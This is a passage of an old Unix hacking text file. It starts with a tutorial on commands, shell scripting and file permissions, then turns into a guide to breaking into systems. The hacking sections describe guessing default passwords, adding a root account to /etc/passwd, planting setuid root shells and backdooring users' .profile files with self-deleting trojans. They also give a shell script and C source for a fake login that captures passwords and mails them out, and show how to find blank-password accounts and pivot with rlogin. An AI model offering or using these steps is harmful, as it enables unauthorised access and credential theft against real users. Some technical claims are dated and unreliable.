stty - set your terminal characteristics. You WILL have to do "man stty"

since each stty is different, it seems like.

an example would be:

$ stty -parenb

to make the data params N,8,1. A lot of Unixes operate at

e,7,1 by default.

sz,rz - send and recieve via zmodem

rx,sx - send / recieve via xmodem

rb,sb - send via batch ymodem. These 6 programs may or may not be on a unix.

umodem - send/recieve via umodem.

$ sz filename

ready to send...

$ rz filename

please send your file....

...etc..

ed - text editor. Usage "ed filename" to create a file that doesn't

exist, just enter in "ed filename"

some versions of ed will give you a prompt, such as "*" others will not

$ ed newtext

* a

This is line 1

This is line 2

[control-z]

* 1 [to see line one]

This is line 1

* a [keep adding]

This is line 3

[control-z]

*0a [add after line 0]

This is THE first line

[control-z]

1,4l

This is THE first line

This is line 1

This is line 2

This is line 3

* w

* q

The 71 is number of bytes written.

a = append

l = list

# = print line number

w - write

l fname = load fname

s fname = save to fname

w = write to current file

q = quit

mesg - turn write permissions on or off to your terminal (allow chat)

format "mesg y" or "mesg n"

cc - the C compiler. don't worry about this one right now.

chmod - change mode of a file. Change the access in other words.

syntax: "chmod mode filename"

$ chmod a+r newtext

Now everyone can read newtext.

a = all

r = read. This will be explained further in the File System section.

chown - change the owner of a file.

syntax: "chown owner filename"

$ chown scythian newtext

chgrp - change the group [explained later] of a file.

syntax: "chgrp group file"

$ chgrp root runme

finger - print out basic info on an account. Format: finger username

grep - search for patterns in a file. syntax: "grep pattern file"

$ grep 1 newtext

This is Line 1

$ grep THE newtext

This is THE first line

$ grep "THE line 1" newtext

mail - This is a very useful utility. Obviously, you already know what it

is by its name. There are several MAIL utilities, such as ELM, MUSH

and MSH, but the basic "mail" program is called "mail". The usage

is:

"mail username@address" or

"mail username"

"mail"

or "mail addr1!addr2!addr3!user"

"mail username@address" - This is used to send mail to someone on

another system, which is usually another UNIX, but some DOS machines and some

VAX machines can recieve Unix Mail. When you use "mail user@address" the

system you are on MUST have a "smart mailer" [known as smail], and must

have what we call system maps. The smart mailer will find the "adress" part

of the command and expand it into the full pathname usually. I could look

like this: mail phiber@optik

then look like this to the computer:

mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber

Do not worry about it, I was merely explaining the principal of the thing.

Now, if there is no smart mailer online, you'll have to know the FULL path

name of the person you wish to mail to. For Instance, I want to mail to

.. phiber. I'd do this if there were no smart mailer:

$ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber

Hey Guy. Whats up? Well, gotta go. Nice long message huh?

[control-D]

Then, when he got it, there would be about 20 lines of information, with

like a post mark from every system my message went thru, and the "from" line

would look like so:

From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack

Now, for local mailing, just type in "mail username" where username
is the login you want to send mail to. Then type in your message. Then
end it with a control-D.

To read YOUR mail, just type in mail. IE:

$ mail

From scythian ............
To sirhack ............
Subject: Well....

Arghhh!

?
The dots represent omitted crap. Each Mail program makes its own headings.
That ? is a prompt. At this prompt I can type:

d - delete
f username - forward to username
w fname - write message to a file named fname
s fname - save message with header into file
q - quit / update mail
x - quit, but don't change a thing
m username - mail to username
r - reply
[enter] - read next message
+ - go forward one message
- : go back one
h - print out message headers that are in your mailbox.

There are others, to see them, you'd usually hit '?'.

--------

If you send mail to someone not on your system, you will have to wait longer
for a reply, since it is just as a letter. A "postman" has to pick it up.
The system might call out, and use UUCP to transfer mail. Usually, uucp
accounts are no good to one, unless you have uucp available to intercept mail.

ps - process. This command allows you to see what you are actually doing
in memory. Everytime you run a program, it gets assigned a Process Id number
(PID), for accounting purposes, and so it can be tracked in memory, as
well as shut down by you, or root. usually, the first thing in a process
list given by "ps" is your shell name. Say I was logged in under sirhack,
using the shell "csh" and running "watch scythian". The watch program would
go into the background, meaning I'd still be able to do things while it was
running:
$ ps
PID TTY NAME
122 001 ksh
123 001 watch
$
That is a shortened PS. That is the default listing [a brief one].
The TTY column represents the "tty" [i/o device] that the process is being
run from. This is only useful really if you are using layers (don't worry)
or more than one person is logged in with the same account name. Now,
"ps -f" would give a full process listing on yourself, so instead of
seeing just plain ole "watch" you'd most likely see "watch scythian"

kill - kill a process. This is used to terminate a program in memory obvio-
ously. You can only kill processes you own [ones you started], unless you
are root, or your EUID is the same as the process you want to kill.
(Will explain euid later). If you kill the shell process, you are logged
off. By the same token, if you kill someone else's shell process, they
are logged off. So, if I said "kill 122" I would be logged off. However,
kill only sends a signal to UNIX telling it to kill off a process. If
you just use the syntax "kill pid" then UNIX kills the process WHEN it feels
like it, which may be never. So, you can specify urgency! Try "kill -num pid"
Kill -9 pid is a definite kill almost instantly. So if I did this:
$ kill 122
$ kill 123
$ ps
PID TTY NAME
122 001 ksh
123 001 watch
$ kill -9 123
[123]: killed
$ kill -9 122
garbage
NO CARRIER

Also, you can do "kill -1 0" to kill your shell process to log yourself off.
This is useful in scripts (explained later).

-------------------
Shell Programmin'
-------------------

Shell Programming is basically making a "script" file for the
standard shell, being sh, ksh, csh, or something on those lines. Its
like an MSDOS batch file, but more complex, and more Flexible.
This can be useful in one aspect of hacking.

First, lets get into variables. Variables obviously can be assigned
values. These values can be string values, or numberic values.

number=1

That would assign 1 to the variable named "number".

string=Hi There
or
string="Hi There"

Both would assign "Hi there" to a variable.

Using a variable is different though. When you wish to use a variable
you must procede it with a dollar ($) sign. These variables can
be used as arguments in programs. When I said that scripts are
like batch files, I meant it. You can enter in any name of a program
in a script file, and it will execute it. Here is a sample script.

counter=1
arg1="-uf"
arg2="scythian"

ps $arg1 $arg2

echo $counter

That script would translate to "ps -uf scythian" then would print
"1" after that was finished. ECHO prints something on the screen
whether it be numeric, or a string constant.

Other Commands / Examples:

read - reads someting into a variable. format : read variable . No dollar
sign is needed here! If I wwanted to get someone's name, I could
put:

echo "What is your name?"
read hisname
echo Hello $hisname

What is your name?
Sir Hackalot
Hello Sir Hackalot

Remember, read can read numeric values also.

trap - This can watch for someone to use the interrupt character. (Ctrl-c)
format: trap "command ; command ; command ; etc.."
Example:
trap "echo 'Noway!! You are not getting rid o me that easy' ; echo
'You gotta see this through!'"

Now, if I hit control-c during the script after this statement was
executed, I'd get:
Noway!! You are not getting rid of me that easy
You gotta see this through!

exit : format :exit [num] This exists the shell [quits] with return
code of num.

-----
CASE
-----

Case execution is like a menu choice deal. The format of the command
or structure is :
case variable in
1) command;
command;;
2) command;
command;
command;;
*) command;;
esac
Each part can have any number of commands. The last command however
must have a ";;". Take this menu:

echo "Please Choose:"
echo "(D)irectory (L)ogoff (S)hell"
read choice
case $choice in

D) echo "Doing Directory...";
ls -al ;;
L) echo Bye;
kill -1 0;;
S) exit;;
*) Echo "Error! Not a command";;
esac

The esac marks the end of a case function. It must be after the
LAST command.

Loops
-----

Ok, loops. There are two loop functins. the for loops, and the
repeat.

repeat looks like this: repeat something somethin1 somethin2
this would repeat a section of your script for each "something".
say i did this:
repeat scythian sirhack prophet

I may see "scythian" then sirhack then prophet on my screen.

The for loop is defined as "for variable in something
do
..
..
done"

an example:
for counter in 1 2 3
do
echo $counter
done

That would print out 1 then 2 then 3.

Using TEST
----------
The format: Test variable option variable

The optios are:
-eq =
-ne <> (not equal)
-gt >
-lt <
-ge >=
-le <=

for strings its: = for equal != for not equal.

If the condition is true, a zero is returned. Watch:

test 3 -eq 3

that would be test 3 = 3, and 0 would be returned.

EXPR
----

This is for numeric functions. You cannot simply type in
echo 4 + 5
and get an answer most of the time. you must say:
expr variable [or number] operator variable2 [or number]
the operators are:

+ add
- subtract
* multiply
/ divide
^ - power (on some systems)

example : expr 4 + 5
var = expr 4 + 5
var would hold 9.

On some systems, expr sometimes prints out a formula. I mean,
22+12 is not the same as 22 + 12. If you said expr 22+12 you
would see:
22+12
If you did expr 22 + 12 you'd see:
34

SYSTEM VARIABLES
----------------

These are variables used by the shell, and are usually set in the
system wide .profile [explained later].

HOME - location of your home directory.
PS1 - The prompt you are given. usually $ . On BSD its usually &
PATH - This is the search path for programs. When you type in a program
to be run, it is not in memory; it must be loaded off disk. Most commands
are not in Memory like MSDOS. If a program is on the search path, it may
be executed no matter where you are. If not, you must be in the directory
where the program is. A path is a set of directories basically, seperated by
":"'s. Here is a typical search path:

:/bin:/etc:/usr/lbin:$HOME:

When you tried to execute a program, Unix would look for it in /bin,
/etc, /usr/lbin, and your home directory, and if its not found, an error is
spewed out. It searches directories in ORDER of the path. SO if you had a
program named "sh" in your home directory, and typed in "sh", EVEN if
you were in your home dir, it would execute the one in /bin. So, you
must set your paths wisely. Public access Unixes do this for you, but systems
you may encounter may have no path set.

TERM - This is your terminal type. UNIX has a library of functions called
"CURSES" which can take advantage of any terminal, provided the escape
codes are found. You must have your term set to something if you run
screen oriented programs. The escape codes/names of terms are found
in a file called TERMCAP. Don't worry about that. just set your term
to ansi or vt100. CURSES will let you know if it cannot manipulate your
terminal emulation.

-------------------
The C compiler
-------------------

This Will be BRIEF. Why? Becuase if you want to learn C, go
buy a book. I don't have time to write another text file on
C, for it would be huge. Basically, most executables are programmed
in C. Source code files on unix are found as filename.c .
To compile one, type in "cc filename.c". Not all C programs
will compile, since they may depend on other files not there, or
are just modules. If you see a think called "makefile" you can
usually type in just "make" at the command prompt, and something
will be compiled, or be attempted to compile. When using make or
CC, it would be wise to use the background operand since
compiling sometimes takes for ever.
IE:
$ cc login.c&
[1234]
$
(The 1234 was the process # it got identified as).

_____________________________________________________________________________

---------------
The FILE SYSTEM
---------------

This is an instrumental part of UNIX. If you do not understand this
section, you'll never get the hang of hacking Unix, since a lot of Pranks
you can play, and things you can do to "raise your access" depend on it.

First, Let's start out by talking about the directory structure. It is
basically a Hiearchy file system, meaning, it starts out at a root directory
and expands, just as MSDOS, and possibly AmigaDos.

Here is a Directory Tree of sorts: (d) means directory

/ (root dir)
|
|--------------------|
bin (d) usr (d)
----^--------------------
| | |
sirhack(d) scythian (d) prophet (d)
|
src (d)

Now, this particular system contains the following directories:
/
/bin
/usr
/usr/sirhack
/usr/sirhack/src
/usr/scythian
/usr/prophet

Hopefully, you understood that part, and you should. Everything spawns from
the root directory.

o File Permissions!
------------------

Now, this is really the biggie. File Permissions. It is not that hard to
understand file permissions, but I will explain them deeply anyway.

OK, now you must think of user groups as well as user names. Everyone
belongs to a group. at the $ prompt, you could type in 'id' to see what
group you are in. Ok, groups are used to allow people access certain things,
instead of just having one person controlling/having access to certain files.
Remember also, that Unix looks at someone's UID to determine access, not
user name.

Ok. File permissions are not really that complicated. Each file has an owner
This OWNER is usually the one who creates the file, either by copying a file
or just by plain editing one. The program CHOWN can be used to give someone
ownership of a file. Remember that the owner of a file must be the one who
runs CHOWN, since he is the only one that can change the permissions of a file
Also, there is a group owner, which is basically the group that you were in
when the file was created. You would use chgrp to change the group a file is
in.

Now, Files can have Execute permissions, read permissions, or write permission.
If you have execute permission, you know that you can just type in the name
of that program at the command line, and it will execute. If you have read
permission on a file, you can obviously read the file, or do anything that
reads the file in, such as copying the file or cat[ing] it (Typing it).
If you do NOT have access to read a file, you can't do anything that requires
reading in the file. This is the same respect with write permission. Now,
all the permissions are arranged into 3 groups. The first is the owner's
permissions. He may have the permissions set for himself to read and execute
the file, but not write to it. This would keep him from deleting it.
The second group is the group permissions. Take an elongated directory
for an example:
$ ls -l runme
r-xrwxr-- sirhack root 10990 March 21 runme

ok. Now, "root" is the groupname this file is in. "sirhack" is the owner.
Now, if the group named 'root' has access to read, write and execute, they
could do just that. Say .. Scythian came across the file, and was in the root
user group. He could read write or execute the file. Now, say datawiz came
across it, but was in the "users" group. The group permissions would not
apply to him, meaning he would have no permissions, so he couldn't touch
the file, right? Sorta. There is a third group of permissions, and this is
the "other" group. This means that the permissions in the "other" group
apply to everyone but the owner, and the users in the same group as the file.
Look at the directory entry above. the r-x-rwxr-- is the permissions line.
The first three characters are the permissions for the owner (r-x). The
"r-x" translates to "Read and execute permissions, but no write permissions"
the second set of three, r-xRWXr-- (the ones in capital letters) are the group
permissions. Those three characters mean "Read, write, and execution allowed"
The 3rd set, r-xrwxR-- is the permissions for everyone else. It means
"Reading allowed, but nothing else". A directory would look something like
this:
$ ls -l
drwxr-xr-x sirhack root 342 March 11 src

A directory has a "d" at the beggining of the permissions line. Now, the
owner of the directory (sirhack) can read from the directory, write in the
directory, and execute programs from the directory. The root group and every-
one else can only read from the directory, and execute off the directory.
So, If I changed the directory to be executable only, this is
what it would look like:
$ chmod go-r
$ ls
drwx--x--x sirhack root 342 March 11 src

Now, if someone went into the directory besides "sirhack", they could only
execute programs in the directory. If they did an "ls" to get a directory
of src, when they were inside src, it would say "cannot read directory".
If there is a file that is readable in the directory, but the directory is
not readable, it is sometimes possible to read the file anyway.

If you do not have execute permissions in a directory, you won't be able to
execute anything in the directory, most of the time.

_____________________________________________________________________________

--------------
Hacking:
--------------
The first step in hacking a UNIX is to get into the operating system
by finding a valid account/password. The object of hacking is usually to
get root (full privileges), so if you're lucky enough to get in as root,
you need not read anymore of this hacking phile , and get into the
"Having Fun" Section. Hacking can also be just to get other's accounts also.

Getting IN
----------
The first thing to do is to GET IN to the Unix. I mean, get past
the login prompt. That is the very first thing. When you come across a UNIX,
sometimes it will identify itself by saying something like,
"Young INC. Company UNIX"

or Just
"Young Inc. Please login"

Here is where you try the defaults I listed. If you get in with those
you can get into the more advanced hacking (getting root). If you do something
wrong at login, you'll get the message
"login incorrect"
This was meant to confuse hackers, or keep the wondering. Why?
Well, you don't know if you've enterred an account that does not exist, or one
that does exist, and got the wrong password. If you login as root and it says
"Not on Console", you have a problem. You have to login as someone else,
and use SU to become root.

Now, this is where you have to think. If you cannot get in with a
default, you are obviously going to have to find something else to
login as. Some systems provide a good way to do this by allowing the use
of command logins. These are ones which simply execute a command, then
logoff. However, the commands they execute are usually useful. For instance
there are three common command logins that tell you who is online at the
present time. They are:
who
rwho
finger

If you ever successfully get one of these to work, you can write down
the usernames of those online, and try to logon as them. Lots of unsuspecting
users use there login name as their password. For instance, the user
"bob" may have a password named "bob" or "bob1". This, as you know, is
not smart, but they don't expect a hacking spree to be carried out on
them. They merely want to be able to login fast.
If a command login does not exist, or is not useful at all, you will
have to brainstorm. A good thing to try is to use the name of the unix
that it is identified as. For instance, Young INC's Unix may have an account
named "young"
Young, INC. Please Login.
login: young
UNIX SYSTEM V REL 3.2
(c)1984 AT&T..
..
..
..

Some unixes have an account open named "test". This is also a default,
but surprisingly enough, it is sometimes left open. It is good to try to
use it. Remember, brainstorming is the key to a unix that has no apparent
defaults open. Think of things that may go along with the Unix. type
in stuff like "info", "password", "dial", "bbs" and other things that
may pertain to the system. "att" is present on some machines also.

ONCE INSIDE -- SPECIAL FILES
----------------------------
There are several files that are very important to the UNIX
environment. They are as follows:

/etc/passwd - This is probably the most important file on a Unix. Why?
well, basically, it holds the valid usernames/passwords.
This is important since only those listed in the passwd
file can login, and even then some can't (will explain).
The format for the passwordfile is this:

username:password:UserID:GroupID:description(or real name):homedir:shell

Here are two sample entries:

sirhack:89fGc%^7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh
demo::101:100:Test Account:/usr/demo:/usr/sh

In the first line, sirhack is a valid user. The second
field, however, is supposed to be a password, right? Well,
it is, but it's encrypted with the DES encryption standard.
the part that says "&a,Ty" may include a date after the comma
(Ty) that tells unix when the password expires. Yes, the
date is encrypted into two alphanumeric characters (Ty).

In the Second example, the demo account has no password.
so at Login, you could type in:

login: demo
UNIX system V
(c)1984 AT&T
..
..

But with sirhack, you'd have to enter a password. Now,
the password file is great, since a lot of times, you;ll
be able to browse through it to look for unpassworded
accounts. Remember that some accounts can be restricted
from logging in, as such:

bin:*:2:2:binaccount:/bin:/bin/sh

The '*' means you won't be able to login with it. Your
only hope would be to run an SUID shell (explained later).

A note about the DES encryption: each unix makes its own unique
"keyword" to base encryption off of. Most of the time its just random letters
and numbers. Its chosen at installation time by the operating system.
Now, decrypting DES encrypted things ain't easy. Its pretty much
impossible. Especially decrypting the password file (decrypting the password
field within the password file to be exact). Always beware a hacker who
says he decrypted a password file. He's full of shit. Passwords are
never decrypted on unix, but rather, a system call is made to a function
called "crypt" from within the C language, and the string you enter as
the password gets encrypted, and compared to the encrypted password. If
they match, you're in. Now, there are password hackers, but they donot
decrypt the password file, but rather, encrypt words from a dictionary
and try them against every account (by crypting/comparing) until it finds
a match (later on!). Remember, few, if none, have decrypted the password
file successfuly.

/etc/group - This file contains The valid groups. The group file is usually
defined as this:
groupname:password:groupid:users in group

Once again, passwords are encrypted here too. If you see a blank
in the password entry you can become part of that group by
using the utility "newgrp". Now, there are some cases in
which even groups with no password will allow only certain
users to be assigned to the group via the newgrp command. Usually,
if the last field is left blank, that means any user can use newgrp
to get that group's access. Otherwise, only the users specified in
the last field can enter the group via newgrp.

Newgrp is just a program that will change your group current
group id you are logged on under to the one you specify. The
syntax for it is: newgrp groupname
Now, if you find a group un passworded, and use newgrp to
enter it, and it asks for a password, you are not allowed to use
the group. I will explain this further in The "SU & Newgrp" section.

/etc/hosts - this file contains a list of hosts it is connected to thru
a hardware network (like an x.25 link or something), or sometimes
just thru UUCP. This is a good file when you are hacking a
large network, since it tells you systems you can use with
rsh (Remote Shell, not restricted shell), rlogin, and telnet,
as well as other ethernet/x.25 link programs.

/usr/adm/sulog (or su_log) - the file sulog (or su_log) may be found in
Several directories, but it is usually in /usr/adm. This file
is what it sounds like. Its a log file, for the program SU.
What it is for is to keep a record of who uses SU and when.
whenever you use SU, your best bet would be to edit this file
if possible, and I'll tell you how and why in the section
about using "su".

/usr/adm/loginlog
or /usr/adm/acct/loginlog -
This is a log file, keeping track of the logins.
Its purpose is merely for accounting and "security review". Really,
sometimes this file is never found, since a lot of systems keep the
logging off.

/usr/adm/errlog
or errlog - This is the error log. It could be located anywhere. It
keeps track of all serious and even not so serious errors.
Usually, it will contain an error code, then a situation.
the error code can be from 1-10, the higher the number, the
worse the error. Error code 6 is usually used when you try
to hack. "login" logs your attempt in errlog with error code
6. Error code 10 means, in a nutshell, "SYSTEM CRASH".

/usr/adm/culog - This file contains entries that tell when you used cu,
where you called and so forth. Another security thing.

/usr/mail/ - this is where the program "mail" stores its mail.
to read a particular mailbox, so they are called,
you must be that user, in the user group "mail" or
root. each mailbox is just a name. for instance,
if my login was "sirhack" my mail file would usually
be: /usr/mail/sirhack

/usr/lib/cron/crontabs - This contains the instructions for cron, usually.
Will get into this later.

/etc/shadow - A "shadowed" password file. Will talk about this later.

-- The BIN account --

Well, right now, I'd like to take a moment to talk about the account
"bin". While it is only a user level account, it is very powerful. It is
the owner of most of the files, and on most systems, it owns /etc/passwd,
THE most important file on a unix. See, the bin account owns most of the
"bin" (binary) files, as well as others used by the binary files, such
as login. Now, knowing what you know about file permissions, if bin owns
the passwd file, you can edit passwd and add a root entry for yourself.
You could do this via the edit command:
$ ed passwd
10999 [The size of passwd varies]
* a
sirhak::0:0:Mr. Hackalot:/:/bin/sh
{control-d}
* w
* q
$

Then, you could say: exec login, then you could login as sirhack, and
you'd be root.

/\/\/\/\/\/\/\/\/
Hacking..........
/\/\/\/\/\/\/\/\/

--------------
Account Adding
--------------

There are other programs that will add users to the system, instead
of ed. But most of these programs will NOT allow a root level user to be
added, or anything less than a UID of 100. One of these programs is
named "adduser". Now, the reason I have stuck this little section in, is
for those who want to use a unix for something useful. Say you want a
"mailing address". If the unix has uucp on it, or is a big college,
chances are, it will do mail transfers. You'll have to test the unix
by trying to send mail to a friend somewhere, or just mailing yourself.
If the mailer is identified as "smail" when you mail yourself (the program
name will be imbedded in the message) that probably means that the system
will send out UUCP mail. This is a good way to keep in contact with people.
Now, this is why you'd want a semi-permanent account. The way to achieve this
is by adding an account similar to those already on the system. If all the
user-level accounts (UID >= 100) are three letter abbriviations, say
"btc" for Bill The Cat, or "brs" for bill ryan smith, add an account
via adduser, and make a name like sally jane marshall or something
(they don't expect hackers to put in female names) and have the account
named sjm. See, in the account description (like Mr. Hackalot above), that
is where the real name is usually stored. So, sjm might look like this:
sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh
Of course, you will password protect this account, right?
Also, group id's don't have to be above 100, but you must put the account
into one that exists. Now, once you login with this account, the first
thing you'd want to do is execute "passwd" to set a password up. If you
don't, chances are someone else 'll do it for you (Then you'll be SOL).

-------------------
Set The User ID
-------------------

This is porbably one of the most used schemes. Setting up an "UID-
Shell". What does this mean? Well, it basically means you are going
to set the user-bit on a program. The program most commonly used is
a shell (csh,sh, ksh, etc). Why? Think about it: You'll have access
to whatever the owner of the file does. A UID shell sets the user-ID of
the person who executes it to the owner of the program. So if root
owns a uid shell, then you become root when you run it. This is an
alternate way to become root.

Say you get in and modify the passwd file and make a root level
account unpassworded, so you can drop in. Of course, you almost HAVE to
get rid of that account or else it WILL be noticed eventually. So, what
you would do is set up a regular user account for yourself, then, make
a uid shell. Usually you would use /bin/sh to do it. After adding
the regular user to the passwd file, and setting up his home directory,
you could do something like this:
(assume you set up the account: shk)
# cp /bin/sh /usr/shk/runme
# chmod a+s /usr/shk/runme

Thats all there would be to it. When you logged in as shk, you could just
type in:

$ runme
#

See? You'd then be root. Here is a thing to do:

$ id
uid=104(shk) gid=50(user)

$ runme
# id
uid=104(shk) gid=50(user) euid=0(root)
#

The euid is the "effective" user ID. UID-shells only set the effective
userid, not the real user-id. But, the effective user id over-rides the
real user id. Now, you can, if you wanted to just be annoying, make
the utilities suid to root. What do I mean? For instance, make 'ls'
a root 'shell'. :

# chmod a+s /bin/ls
# exit
$ ls -l /usr/fred
..
......
etc crap

Ls would then be able to pry into ANY directory. If you did the same to
"cat" you could view any file. If you did it to rm, you could delete any
file. If you did it to 'ed', you could edit any-file (nifty!), anywhere on
the system (usually).

How do I get root?
------------------

Good question indeed. To make a program set the user-id shell to root,
you have to be root, unless you're lucky. What do I mean? Well, say
you find a program that sets the user-id to root. If you have access
to write to that file, guess what? you can copy over it, but keep
the uid bit set. So, say you see that the program chsh is setting
the user id too root. You can copy /bin/sh over it.

$ ls -l
rwsrwsrws root other 10999 Jan 4 chsh
$ cp /bin/sh chsh
$ chsh
#

See? That is just one way. There are others, which I will now talk
about.

More on setting the UID
-----------------------

Now, the generic form for making a program set the User-ID bit
is to use this command:

chmod a+s file

Where 'file' is a valid existing file. Now, only those who own the file
can set the user ID bit. Remember, anything YOU create, YOU own, so if
you copy th /bin/sh, the one you are logged in as owns it, or IF the
UID is set to something else, the New UID owns the file. This brings
me to BAD file permissions.

II. HACKING : Bad Directory Permissions

Now, what do I mean for bad directory permissions? Well, look for
files that YOU can write to, and above all, DIRECTORIES you can write to.
If you have write permissions on a file, you can modify it. Now, this comes
in handy when wanting to steal someone's access. If you can write to
a user's .profile, you are in business. You can have that user's .profile
create a suid shell for you to run when You next logon after the user.
If the .profile is writable to you, you can do this:

$ ed .profile
[some number will be here]
? a
cp /bin/sh .runme
chmod a+x .runme
chmod a+s .runme
(control-d)
? w
[new filesize will be shown]
? q
$

Now, when the user next logs on, the .profile will create .runme which
will set your ID to the user whose .profile you changed. Ideally, you'll
go back in and zap those lines after the suid is created, and you'll create
a suid somewhere else, and delete the one in his dir. The .runme will
not appear in the user's REGULAR directory list, it will only show up
if he does "ls -a" (or ls with a -a combination), because, the '.' makes
a file hidden.

The above was a TROJAN HORSE, which is one of the most widely used/abused
method of gaining more power on a unix. The above could be done in C via
the system() command, or by just plain using open(), chmod(), and the like.
* Remember to check and see if the root user's profile is writeable *
* it is located at /.profile (usually) *

The BEST thing that could happen is to find a user's directory writeable
by you. Why? well, you could replace all the files in the directory
with your own devious scripts, or C trojans. Even if a file is not
writeable by you, you can still overwrite it by deleteing it. If you
can read various files, such as the user's .profile, you can make a
self deleting trojan as so:

$ cp .profile temp.pro
$ ed .profile
1234
? a
cp /bin/sh .runme
chmod a+x .runme
chmod a+s .runme
mv temp.pro .profile
(control-d)
? w
[another number]
? q
$ chown that_user temp.pro

What happens is that you make a copy of the .profile before you change it.
Then, you change the original. When he runs it, the steps are made, then
the original version is placed over the current, so if the idiot looks in
his .profile, he won't see anything out of the ordinary, except that he
could notice in a long listing that the change date is very recent, but
most users are not paranoid enough to do extensive checks on their files,
except sysadm files (such as passwd).

Now, remember, even though you can write to a dir, you may not be able
to write to a file without deleting it. If you do not have write perms
for that file, you'll have to delete it and write something in its place
(put a file with the same name there). The most important thing to remember
if you have to delete a .profile is to CHANGE the OWNER back after you
construct a new one (hehe) for that user. He could easily notice that his
.profile was changed and he'll know who did it. YES, you can change the
owner to someone else besides yourself and the original owner (as to throw
him off), but this is not wise as keeping access usually relies on the fact
that they don't know you are around.

You can easily change cron files if you can write to them. I'm not going
to go into detail about cronfile formats here, just find the crontab files
and modify them to create a shell somewhere as root every once in a while,
and set the user-id.

III. Trojan Horses on Detached terminals.
Basically this: You can send garbage to a user's screen and
mess him up bad enough to force a logoff, creating a detached
account. Then you can execute a trojan horse off that terminal in
place of login or something, so the next one who calls can hit the
trojan horse. This USUALLY takes the form of a fake login and
write the username/pw entererred to disk.

Now, there are other trojan horses available for you to write. Now,
don't go thinking about a virus, for they don't work unless ROOT runs
them. Anyway, a common trjan would be a shell script to get the
password, and mail it to you. Now, you can replace the code for
the self deleting trojan with one saying something like:
echo "login: \c"
read lgin
echo off (works on some systems)
(if above not available...: stty -noecho)
echo "Password:\c"
read pw
echo on
echo "Login: $lgin - Pword: $pw" | mail you

Now, the best way to use this is to put it in a seperate script file
so it can be deleted as part of the self deleting trojan. A quick
modification, removing the "login: " and leaving the password
may have it look like SU, so you can get the root password. But
make sure the program deletes itself. Here is a sample trojan
login in C:

#include
/* Get the necessary defs.. */
main()
{
char *name[80];
char *pw[20];
FILE *strm;
printf("login: ");
gets(name);
pw = getpass("Password:");
strm = fopen("/WhereEver/Whateverfile","a");
fprintf(strm,"User: (%s), PW [%s]\n",name,pw);
fclose(strm);
/* put some kind of error below... or something... */
printf("Bus Error - Core Dumped\n");
exit(1);
}

The program gets the login, and the password, and appends it to
a file (/wherever/whateverfile), and creates the file if it can,
and if its not there. That is just an example. Network Annoyances
come later.

IV. Odd systems

There may be systems you can log in to with no problem, and find some
slack menu, database, or word processor as your shell, with no way to the
command interpreter (sh, ksh, etc..). Don't give up here. Some systems will
let you login as root, but give you a menu which will allow you to add an
account. However, ones that do this usually have some purchased software
package running, and the people who made the software KNOW that the people
who bought it are idiots, and the thing will sometimes only allow you to
add accounts with user-id 100 or greater, with their special menushell as
a shell. You probably won't get to pick the shell, the program will probably
stick one on the user you created which is very limiting. HOWEVER, sometimes
you can edit accounts, and it will list accounts you can edit on the screen.
HOWEVER, these programs usually only list those with UIDS > 100 so you don't
edit the good accounts, however, they donot stop you from editing an account
with a UID < 100. The "editing" usually only involves changing the password
on the account. If an account has a * for a password, the standard passwd
program which changes programs, will say no pw exists, and will ask you to
enter one. (wallah! You have just freed an account for yourself. Usually
bin and sys have a * for a password). If one exists you'll have to enter
the old Password (I hope you know it!) for that account. Then, you are
in the same boat as before. (BTW -- These wierd systems are usually
Xenix/386, Xenix/286, or Altos/286)
With word processors, usually you can select the load command,
and when the word processor prompts for a file, you can select the passwd
file, to look for open accounts, or at least valid ones to hack. An example
would be the informix system. You can get a word processor with that such
as Samna word, or something, and those Lamers will not protect against
shit like that. Why? The Passwd file HAS to be readable by all for the most
part, so each program can "stat" you. However, word processors could be made
to restrict editing to a directory, or set of directories. Here is an
example:

$ id
uid=100(sirhack) gid=100(users)
$ sword
(word processor comes up)
(select LOAD A FILE)
: /etc/passwd

(you see: )
root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh
sirhack:dld!k%%^%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh
datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh
...

Now I have found an account to take over! "datawiz" will get me in with no
trouble, then I can change his password, which he will not like at all.
Some systems leave "sysadm" unpassworded (stupid!), and now, Most versions
of Unix, be it Xenix, Unix, BSD, or whatnot, they ship a sysadm shell which
will menu drive all the important shit, even creating users, but you must
have ansi or something.

You can usually tell when you'll get a menu. Sometimes on UNIX
SYSTEM V, when it says TERM = (termtype), and is waiting for
you to press return or whatever, you will probably get a menu.. ack.

V. Shadowed Password files
Not much to say about this. all it is, is when every password field
in the password file has an "x" or just a single character. What
that does is screw you, becuase you cannot read the shadowed password
file, only root can, and it contains all the passwords, so you will
not know what accounts have no passwords, etc.

There are a lot of other schemes for hacking unix, lots of others, from
writing assembly code that modifies the PCB through self-changing code which
the interrupt handler doesn't catch, and things like that. However, I do
not want to give away everything, and this was not meant for advanced Unix
Hackers, or atleast not the ones that are familiar with 68xxx, 80386 Unix
assembly language or anything. Now I will Talk about Internet.

--->>> InterNet <<<--- br=""> Why do I want to talk about InterNet? Well, because it is a prime
example of a TCP/IP network, better known as a WAN (Wide-Area-Network).
Now, mainly you will find BSD systems off of the Internet, or SunOS, for
they are the most common. They may not be when System V, Rel 4.0, Version
2.0 comes out. Anyway, these BSDs/SunOSs like to make it easy to jump
from one computer to another once you are logged in. What happens is
EACH system has a "yello page password file". Better known as yppasswd.
If you look in there, and see blank passwords you can use rsh, rlogin, etc..
to slip into that system. One system in particular I came across had a
a yppasswd file where *300* users had blank passwords in the Yellow Pages.
Once I got in on the "test" account, ALL I had to do was select who I wanted
to be, and do: rlogin -l user (sometimes -n). Then it would log me onto
the system I was already on, through TCP/IP. However, when you do this,
remember that the yppasswd only pertains to the system you are on at
the time. To find accounts, you could find the yppasswd file and do:

% cat yppasswd | grep ::

Or, if you can't find yppasswd..

% ypcat passwd | grep ::

On ONE system (which will remain confidential), I found the DAEMON account
left open in the yppasswd file. Not bad. Anyway, through one system
on the internet, you can reach many. Just use rsh, or rlogin, and look
in the file: /etc/hosts for valid sites which you can reach. If you get
on to a system, and rlogin to somewhere else, and it asks for a password,
that just means one of two things:

A. Your account that you have hacked on the one computer is on the target
